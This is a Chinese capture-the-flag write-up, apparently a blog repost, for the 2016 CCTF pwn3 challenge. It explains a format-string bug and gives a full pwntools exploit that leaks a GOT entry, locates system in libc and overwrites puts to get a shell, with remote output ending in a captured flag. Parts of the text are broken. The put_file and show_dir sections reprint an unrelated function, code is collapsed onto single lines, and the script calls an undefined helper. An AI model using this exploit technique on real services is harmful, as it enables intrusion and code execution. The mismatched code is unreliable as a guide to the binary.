当前位置: 首页 > article >正文

看雪 get_pwn3(2016 CCTF 中的 pwn3)

get_pwn3(2016 CCTF 中的 pwn3) 格式化字符串漏洞

get_pwn3(2016 CCTF 中的 pwn3) 

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file pwn3
pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=916959406d0c545f6971223c8e06bff1ed9ae74d, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=pwn3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   88 Symbols	  No	0		3		pwn3

(2)

用ida打开,按下F5(如果不行,看看有没有Fn键,Fn+F5)

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{int command; // eaxchar s1[40]; // [esp+14h] [ebp-2Ch] BYREFint command_1; // [esp+3Ch] [ebp-4h]setbuf(stdout, 0);ask_username(s1);ask_password(s1);while ( 1 ){while ( 1 ){print_prompt();command = get_command();command_1 = command;if ( command != 2 )break;put_file();}if ( command == 3 ){show_dir();}else{if ( command != 1 )exit(1);get_file();}}
}

发现先是给了两个函数ask_username和ask_password函数,参数都为s1

char *__cdecl ask_username(char *dest)
{char src[40]; // [esp+14h] [ebp-34h] BYREFint i; // [esp+3Ch] [ebp-Ch]puts("Connected to ftp.hacker.server");puts("220 Serv-U FTP Server v6.4 for WinSock ready...");printf("Name (ftp.hacker.server:Rainism):");__isoc99_scanf("%40s", src);for ( i = 0; i <= 39 && src[i]; ++i )++src[i];return strcpy(dest, src);
}

这个函数主要是接受一个参数s1,是一个指向字符数组的指针,用于存储处理后的用户名

这里对输入数据的处理是通过循环遍历每个字符,并将每个字符的ASCII码值加1

int __cdecl ask_password(char *s1)
{if ( strcmp(s1, "sysbdmin") ){puts("who you are?");exit(1);}return puts("welcome!");
}

这个函数主要是接受一个参数s1,是一个指向字符数组的指针,用于传入要验证的密码字符串

当传入的字符串为"sysbdmin"时,就会继续运行。

结合看两个函数,我们要输入rxraclhm(每个字母往前移一个),才能使程序运行

(3)

看下面的循环,主要的先是一个目录get_command函数

int get_command()
{char s1[12]; // [esp+1Ch] [ebp-Ch] BYREF__isoc99_scanf("%3s", s1);if ( !strncmp(s1, "get", 3u) )return 1;if ( !strncmp(s1, "put", 3u) )return 2;if ( !strncmp(s1, "dir", 3u) )return 3;return 4;
}

输入get---get_file函数

int get_file()
{char dest[200]; // [esp+1Ch] [ebp-FCh] BYREFchar s1[40]; // [esp+E4h] [ebp-34h] BYREFchar *i; // [esp+10Ch] [ebp-Ch]printf("enter the file name you want to get:");__isoc99_scanf("%40s", s1);if ( !strncmp(s1, "flag", 4u) )puts("too young, too simple");for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ){if ( !strcmp(i, s1) ){strcpy(dest, i + 40);return printf(dest);}}return printf(dest);
}

这函数是获取用户输入的文件名,若存在会返回文件内容,没有此文件名,也会输出,但是�

(这里若我们先查看存在的文件,输出了文件内容,后面输入不存在的文件名,输出的内容是存在文件的文件内容和�)

这里还对敏感文件flag进行了限制,不能直接读取

还因为我们能控制dest的内容,所以存在格式化字符串漏洞

输入put---put_file函数

int __cdecl ask_password(char *s1)
{if ( strcmp(s1, "sysbdmin") ){puts("who you are?");exit(1);}return puts("welcome!");
}

这个函数主要是输入文件名和文件内容

输入dir---show_dir函数

int __cdecl ask_password(char *s1)
{if ( strcmp(s1, "sysbdmin") ){puts("who you are?");exit(1);}return puts("welcome!");
}

这个函数是把我们存储的文件名依次拼接,存于一个字符数组中,最后把拼接好的完整文件名信息输出到标准输出

(应该是因为是链栈,后进先出,所以后输入的在前)

(4)

思路:

这里可以通过格式化字符串漏洞,修改puts函数的got表为system函数,并给一个"/bin/sh",来完成连接

1.先根据程序自定义构造函数put,got,这里我还构造了一个addr函数(获取puts函数地址)

addr函数:

先是利用put输入文件名为/sh,内容为b'%8$s'+p32(got_addr)

(%8$s会尝试读取该p32(got_addr)地址指向的内存内容)

然后通过get输出,获取puts函数地址

2.根据puts函数获取libc基地址,进而得到system地址

3.因为put可以输入,get可以输出(存在格式化字符串漏洞),所以通过这两个函数,得到偏移量

4.构造一条ROP链,通过格式化字符串漏洞把puts函数的got表地址改为system函数地址,并且再次用输入文件名为/bin,文件内容为payload,通过get输出

5.运用dir函数,因为函数会把文件名拼接,所以是"/bin/sh",而函数最后的返回puts函数已经是system函数,所以我们最后执行的是system("/bin/sh")

(5)

编写

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sh = remote('123.57.66.184', 10072)
# sh = process('/home/motaly/桌面/pwn3')
elf=ELF('/home/motaly/桌面/pwn3')sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")def put(file_name, file_content):sh.recvuntil(b"ftp>")sh.sendline(b"put")sh.recvuntil(b"please enter the name of the file you want to upload:")sh.sendline(file_name)sh.recvuntil(b"then, enter the content:")sh.sendline(file_content)def get(file_name):sh.recvuntil(b"ftp>")sh.sendline(b"get")sh.recvuntil(b"enter the file name you want to get:")sh.sendline(file_name)def addr(got_addr):put(b'/sh', b'%8$s' + p32(got_addr))     #%8$s会尝试读取该p32(got_addr)地址指向的内存内容get(b'/sh')function_addr = u32(sh.recv(4))return function_addrputs_addr = addr(elf.got['puts'])
print("puts_addr"+hex(puts_addr))libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
print("libc_base--->"+hex(libc_base))system_addr = libc_base + libc.dump('system')
print("system_addr--->"+hex(system_addr))payload = fmtstr_payload(7, {elf.got['puts']:system_addr})
debug(payload)
put(b'/bin', payload)
get(b'/bin')sh.sendline(b'dir')sh.interactive()

(4)

连接得到flag

[*] Switching to interactive mode
[DEBUG] Received 0x10d bytes:00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 30  │    │    │    │   0│00000050  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*00000090  20 20 20 20  20 20 20 20  20 20 20 20  04 20 20 20  │    │    │    │·   │000000a0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*000000e0  20 20 20 20  20 20 20 3e  20 20 20 20  20 20 20 20  │    │   >│    │    │000000f0  20 20 20 20  20 20 20 20  f7 28 a0 04  08 2a a0 04  │    │    │·(··│·*··│00000100  08 2b a0 04  08 29 a0 04  08 66 74 70  3e           │·+··│·)··│·ftp│>│0000010d0                                                                            \x04                                                                          >                \xf7(\xa*\xa0\x0+\xa0\x0)\xa0\ls
[DEBUG] Sent 0x3 bytes:b'ls\n'
[DEBUG] Received 0x2d bytes:b'40_2016ccf_pwn3\n'b'bin\n'b'dev\n'b'flag\n'b'lib\n'b'lib32\n'b'lib64\n'
40_2016ccf_pwn3
bin
dev
flag
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:b'cat flag\n'
[DEBUG] Received 0x2b bytes:b'flag{98beaded-1acb-4d51-a309-9a93a9f02416}\n'
flag{98beaded-1acb-4d51-a309-9a93a9f02416}

相关文章:

看雪 get_pwn3(2016 CCTF 中的 pwn3)

get_pwn3(2016 CCTF 中的 pwn3) 格式化字符串漏洞 get_pwn3(2016 CCTF 中的 pwn3) (1) motalymotaly-VMware-Virtual-Platform:~/桌面$ file pwn3 pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, …...

python全栈-JavaScript

python全栈-js 文章目录 js基础变量与常量JavaScript引入到HTML文件中JavaScript注释与常见输出方式 数据类型typeof 显示数据类型算数运算符之加法运算符运算符之算术运算符运算符之赋值运算符运算符之比较运算符运算符之布尔运算符运算符之位运算符运算符优先级类型转换 控制…...

操作系统概述(3)

批处理系统 1.单道批处理系统 单道批处理系统是成批地处理作用&#xff0c;并且始终只有一道作业在内存中的系统。优点&#xff1a;提高系统资源的利用率和系统吞吐量。缺点&#xff1a;系统中的资源得不到充分利用。 2.多道批处理系统 引入多道程序设计技术&#xff0c;是…...

SolidWorks2025三维计算机辅助设计(3D CAD)软件超详细图文安装教程(2025最新版保姆级教程)

目录 前言 一、SolidWorks下载 二、SolidWorks安装 三、启动SolidWorks 前言 SolidWorks 是一款由法国达索系统&#xff08;Dassault Systmes&#xff09;公司开发的三维计算机辅助设计&#xff08;3D CAD&#xff09;软件&#xff0c;广泛用于机械设计、工程仿真和产品开…...

powershell绑定按钮事件的两种方式

写一个powershell的简单GUI做本地任务&#xff0c;试验出2个方法&#xff1a; 方法1&#xff1a; function btn1_click {write-host $text1.Text -ForegroundColor Green -BackgroundColor Black }$btn1.Add_Click({btn1_click})方法2&#xff1a; $btn2_click {write-host $…...

JBDC Java数据库连接(1)

目录 JDBC概述 定义 JDBC API 实例 JDBC搭建 建立与数据库连接&#xff1a; 形式&#xff1a; 实例 获得Satement执行sql语句 Satement中的方法: 实例 实例 JDBC概述 定义 JDBC&#xff08;Java DataBase Connectivity&#xff09;java数据库连接是一种用于执行SQL…...

Spring Boot 3.x 集成 MongoDB 的 默认配置项及默认值,以及 常用需要修改的配置项 的详细说明

以下是 Spring Boot 3.x 集成 MongoDB 的 默认配置项及默认值&#xff0c;以及 常用需要修改的配置项 的详细说明&#xff1a; 一、默认配置项及默认值 Spring Boot 对 MongoDB 的默认配置基于 spring.data.mongodb 前缀&#xff0c;以下是核心配置项&#xff1a; 配置项默认…...

git rebase复杂场景验证

经常面临复杂的分支管理&#xff0c;这里对几种场景的行为做一些验证。 结论总结 git rebase br_name&#xff1a;等价与新建br_name分支&#xff0c;然后找到当前分支与br_name分支的分叉点。然后把分叉点以后的提交&#xff08;当前分支&#xff09;一个一个的cherry-pick过…...

【Introduction to Reinforcement Learning】翻译解读2

2.2 马尔可夫决策过程&#xff08;MDPs&#xff09; 马尔可夫决策过程&#xff08;MDP&#xff09;为顺序决策提供了框架&#xff0c;其中动作不仅影响即时奖励&#xff0c;还会影响未来结果。与多臂老虎机问题不同&#xff0c;MDP中的即时奖励与延迟奖励相平衡。在多臂老虎机…...

大数据(5)Spark部署核弹级避坑指南:从高并发集群调优到源码级安全加固(附万亿级日志分析实战+智能运维巡检系统)

目录 背景一、Spark核心架构拆解1. 分布式计算五层模型 二、五步军工级部署阶段1&#xff1a;环境核弹级校验阶段2&#xff1a;集群拓扑构建阶段3&#xff1a;黄金配置模板阶段4&#xff1a;高可用启停阶段5&#xff1a;安全加固方案 三、万亿级日志分析实战1. 案例背景&#x…...

Linux内核中TCP协议栈的实现:tcp_close函数的深度剖析

引言 TCP(传输控制协议)作为互联网协议族中的核心协议之一,负责在不可靠的网络层之上提供可靠的、面向连接的字节流服务。Linux内核中的TCP协议栈实现了TCP协议的全部功能,包括连接建立、数据传输、流量控制、拥塞控制以及连接关闭等。本文将深入分析Linux内核中tcp_close…...

从搜索丝滑过渡到动态规划的学习指南

搜索&动态规划 前言砝码称重满分代码及思路solution 1&#xff08;动态规划&#xff09;solution 2&#xff08;BFS&#xff09; 跳跃满分代码及思路solution 1(动态规划)solution 2 (BFS) 积木画满分代码及思路动态规划思路讲解solution 前言 本文主要是通过一些竞赛真题…...

(一)栈结构、队列结构

01-线性结构-数组-栈结构 线性结构&#xff08;Linear List)是由n&#xff08;n>0)个数据元素&#xff08;结点&#xff09; a[0], a[1], a[2], a[3],...,a[n-1]组成的有限序列 数组 通常数组的内存是连续的&#xff0c;所以在知道数组下标的情况下&#xff0c;访问效率是…...

AWS SNS深度解析:构建高可用、可扩展的云原生消息通信解决方案

引言 在云原生架构中&#xff0c;高效的消息通信是系统解耦、实时响应的核心需求。AWS Simple Notification Service&#xff08;SNS&#xff09;作为一款全托管的发布/订阅&#xff08;Pub/Sub&#xff09;服务&#xff0c;为开发者提供了灵活、可靠的消息分发能力。本文将从…...

MySQL基础 [五] - 表的增删查改

目录 Create&#xff08;insert&#xff09; Retrieve&#xff08;select&#xff09; where条件 ​编辑 NULL的查询 结果排序(order by) 筛选分页结果 (limit) Update Delete 删除表 截断表&#xff08;truncate&#xff09; 插入查询结果&#xff08;insertselect&…...

4.7学习总结 可变参数+集合工具类Collections+不可变集合

可变参数&#xff1a; 示例&#xff1a; public class test {public static void main(String[] args) {int sumgetSum(1,2,3,4,5,6,7,8,9,10);System.out.println(sum);}public static int getSum(int...arr){int sum0;for(int i:arr){sumi;}return sum;} } 细节&#xff1a…...

OpenGL学习笔记(简介、三角形、着色器、纹理、坐标系统、摄像机)

目录 简介核心模式与立即渲染模式状态机对象GLFW和GLAD Hello OpenGLTriangle 三角形顶点缓冲对象 VBO顶点数组对象 VAO元素缓冲对象 EBO/ 索引缓冲对象 IEO 着色器GLSL数据类型输入输出Uniform 纹理纹理过滤Mipmap 多级渐远纹理实际使用方式纹理单元 坐标系统裁剪空间 摄像机自…...

vmware虚拟机上Ubuntu或者其他系统无法联网的解决方法

一、检查虚拟机是否开启了网络服务 打开方式&#xff1a;控制面板->-管理工具--->服务 查找 VMware DHCP Service 和VMware NAT Service &#xff0c;确保这两个服务已经启动。如下图&#xff0c;没有启动就点击启动。 二、设置网络类型 我们一般使用前两种多一些&…...

OpenVLA-OFT——微调VLA时加快推理的三大关键设计:支持动作分块的并行解码、连续动作表示以及L1回归(含输入灵活化及对指令遵循的加强)

前言 25年3.26日&#xff0c;这是一个值得纪念的日子&#xff0c;这一天&#xff0c;我司「七月在线」的定位正式升级为了&#xff1a;具身智能的场景落地与定制开发商 &#xff0c;后续则从定制开发 逐步过渡到 标准产品化 比如25年q2起&#xff0c;在定制开发之外&#xff0…...

Linux脚本基础详解

一、基础知识 Linux 脚本主要是指在 Linux 系统中编写的用于自动化执行任务的脚本程序&#xff0c;其中最常用的便是 Bash 脚本。下面我们将从语法、使用方法和示例三个方面详细讲解 Linux 脚本。 1. 脚本简介 定义&#xff1a;Linux 脚本是一系列命令的集合&#xff0c;可以…...

LabVIEW 油井动液面在线监测系统​

项目背景 传统油井动液面测量依赖人工现场操作&#xff0c;面临成本高、效率低、安全风险大等问题。尤其在偏远地区或复杂工况下&#xff0c;测量准确性与时效性难以保障。本系统通过LabVIEW虚拟仪器技术实现硬件与软件深度融合&#xff0c;为油田智能化转型提供实时连续监测解…...

泛微ECOLOGY9 解决文档中打开发票类PDF文件无内容的配置方法

解决文档中打开发票类PDF文件无内容的配置方法 情况如下&#xff1a; 如果OA文档中打开的PDF文件如下图这样空白的&#xff0c;那么可以试试下面的方法进行解决。 解决方法&#xff1a; 在OA安装目录中找到 ecology/WEB-INF/prop/docpreview.properties 配置文件&#xff…...

大模型RAG项目实战-知识库问答助手v1版

安装 Ollama 根据官网指导&#xff0c;安装对应版本即可。 下载安装指导文档&#xff1a; handy-ollama/docs/C1/1. Ollama 介绍.md at main datawhalechina/handy-ollama 注意&#xff1a;在 Windows 下安装 Ollama 后&#xff0c;强烈建议通过配置环境变量来修改模型存储…...

统计子矩阵

1.统计子矩阵 - 蓝桥云课 统计子矩阵 问题描述 给定一个 NM 的矩阵 A&#xff0c;请你统计有多少个子矩阵&#xff08;最小 11&#xff0c;最大 NM&#xff09;满足子矩阵中所有数的和不超过给定的整数 K&#xff1f; 输入格式 第一行包含三个整数 N&#xff0c;M 和 K。 …...

Vue.js 实现下载模板和导入模板、数据比对功能核心实现。

在前端开发中&#xff0c;数据比对是一个常见需求&#xff0c;尤其在资产管理等场景中。本文将基于 Vue.js 和 Element UI&#xff0c;通过一个简化的代码示例&#xff0c;展示如何实现“新建比对”和“开始比对”功能的核心部分。 一、功能简介 我们将聚焦两个核心功能&…...

C++第1讲:基础语法;通讯录管理系统

黑马程序员匠心之作|C教程从0到1入门编程,学习编程不再难_哔哩哔哩_bilibili 对应的笔记&#xff1a; https://github.com/AccumulateMore/CPlusPlus 标签: C&C | welcome to here 一、C初识 1.1.注释 1.2.变量 1.3.常量&#xff1a;记录程序中不可更改的数据 1.4.关…...

关于Spring MVC处理JSON数据集的详细说明,涵盖如何接收和发送JSON数据,包含代码示例和总结表格

以下是关于Spring MVC处理JSON数据集的详细说明&#xff0c;涵盖如何接收和发送JSON数据&#xff0c;包含代码示例和总结表格&#xff1a; 1. 核心机制 Spring MVC通过以下方式支持JSON数据的传输&#xff1a; 接收JSON数据&#xff1a;使用RequestBody注解将HTTP请求体中的J…...

MySQL 隐式转换与模糊匹配的索引使用分析

MySQL 隐式转换与模糊匹配的索引使用分析 MySQL服务版本字段结构索引结构查询分析int索引查询varchar 索引查询 like 匹配总结 MySQL服务版本 版本信息&#xff1a;Server version: 8.0.30 MySQL Community Server - GPL 字段结构 mysql> desc connection; -------------…...

DNS服务(Linux)

DNS 介绍 dns&#xff0c;Domain Name Server&#xff0c;它的作用是将域名解析为 IP 地址&#xff0c;或者将IP地址解析为域名。 这需要运行在三层和四层&#xff0c;也就是说它需要使用 TCP 或 UDP 协议&#xff0c;并且需要绑定端口&#xff0c;53。在使用时先通过 UDP 去…...

【愚公系列】《高效使用DeepSeek》058-选题策划

🌟【技术大咖愚公搬代码:全栈专家的成长之路,你关注的宝藏博主在这里!】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主! 👉 江湖人称"愚公搬代码",用七年如一日的精神深耕技术领域,以"…...